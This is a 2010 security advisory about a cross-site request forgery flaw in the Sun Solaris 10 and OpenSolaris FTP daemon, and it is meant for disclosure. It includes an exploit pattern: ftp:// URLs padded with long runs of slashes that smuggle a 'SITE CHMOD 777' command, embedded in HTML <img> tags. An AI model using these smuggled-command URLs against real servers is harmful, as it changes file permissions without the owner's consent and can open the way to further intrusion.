Sun Solaris 10 ftpd Cross-site request forgery

2010-05-2700:00:00

vulners.com

JSON

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ Sun Solaris 10 ftpd Cross-site request forgery ]

Author: Maksymilian Arciemowicz
SecurityReason.com
Date:

- Dis.: 24.02.2010
- Pub.: 21.05.2010

Affected Software:

- Sun Solaris 10 10/09
- OpenSoalris 2009.06

Original URL:
http://securityreason.com/achievement_securityalert/84

— 0.Description —
in.ftpd is the Internet File Transfer Protocol (FTP) server process. The server may be
invoked by the Internet daemon inetd(1M) each time a connection to the FTP service is
made or run as a standalone server.

CWE-352:
When a web server is designed to receive a request from a client without any mechanism
for verifying that it was intentionally sent, then it might be possible for an attacker
to trick a client into making an unintentional request to the web server which will be
treated as an authentic request. This can be done via a URL, image load, XMLHttpRequest,
etc. and can result in data disclosure or unintended code execution.

— 1. Sun Solaris 10 ftpd Cross-site request forgery —
The main problem exists in dividing long command for few others. The problem stems from
the fact the use of the loop for(;;) and function fgets(). etc

/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////////////////////////////stat

tested od firefox 3.6.3

Example 2 (2048):
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////

will be split for:

and

pwd

////////////////////////////////////////////////////////////////////////////////////site
chmod 777 .

The situation, can be dangerous, when this bug will be exploited like any CSRF attack.
We can use SITE CHMOD command to change file permission or other combinations with ftp
commands. Only we need some exploit and luck, that admin will executed exploited url.

How to exploit it?

Creating some html file with <img> tags
<img src="ftp://…////SITE%20CHMOD%20777%20FILENAME">
…

Give preparing URL for user.

Example:
ftp://…////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////
//SITE%20CHMOD%20777%20EXAMPLEFILE

will change permision to EXAMPLEFILE when the owner will use this URL.

I think, it should be some byte, what inform about overflowing (empty command should
nulling this byte), like in openbsd fix for ftpd.

This vulnerability can also be used not only as CSRF. If we create an interface based on
PHP-ftp, you can inject arbitrary FTP command, bypassing the access to the FTP server.

— 2. Fix —
Sun bug 6946945

http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/extern.h#rev1.55.8.1
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/ftpcmd.y#rev1.84.8.1
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/ftpd.c#rev1.177.6.4
http://cvsweb.de.netbsd.org/cgi-bin/cvsweb.cgi/src/libexec/ftpd/version.h#rev1.65.12.2

— 3. Greets —
sp3x Infospec pi3
— 4. Contact —
Author: SecurityReason.com [ Maksymilian Arciemowicz ]
- cxib {a\./t] securityreason [d=t} com

GPG:

- http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://securityreason.com/exploit_alert/ - Exploit Database
http://securityreason.com/security_alert/ - Vulnerability Database
-----BEGIN PGP SIGNATURE-----

iEYEARECAAYFAkv2dacACgkQpiCeOKaYa9ZuwwCfcLbAFFQOpZ4+2j5sSOvNUa97
7HEAoJLTh6ygjroFhJuboBfgRuIhFEoh
=5zDe
-----END PGP SIGNATURE-----

JSON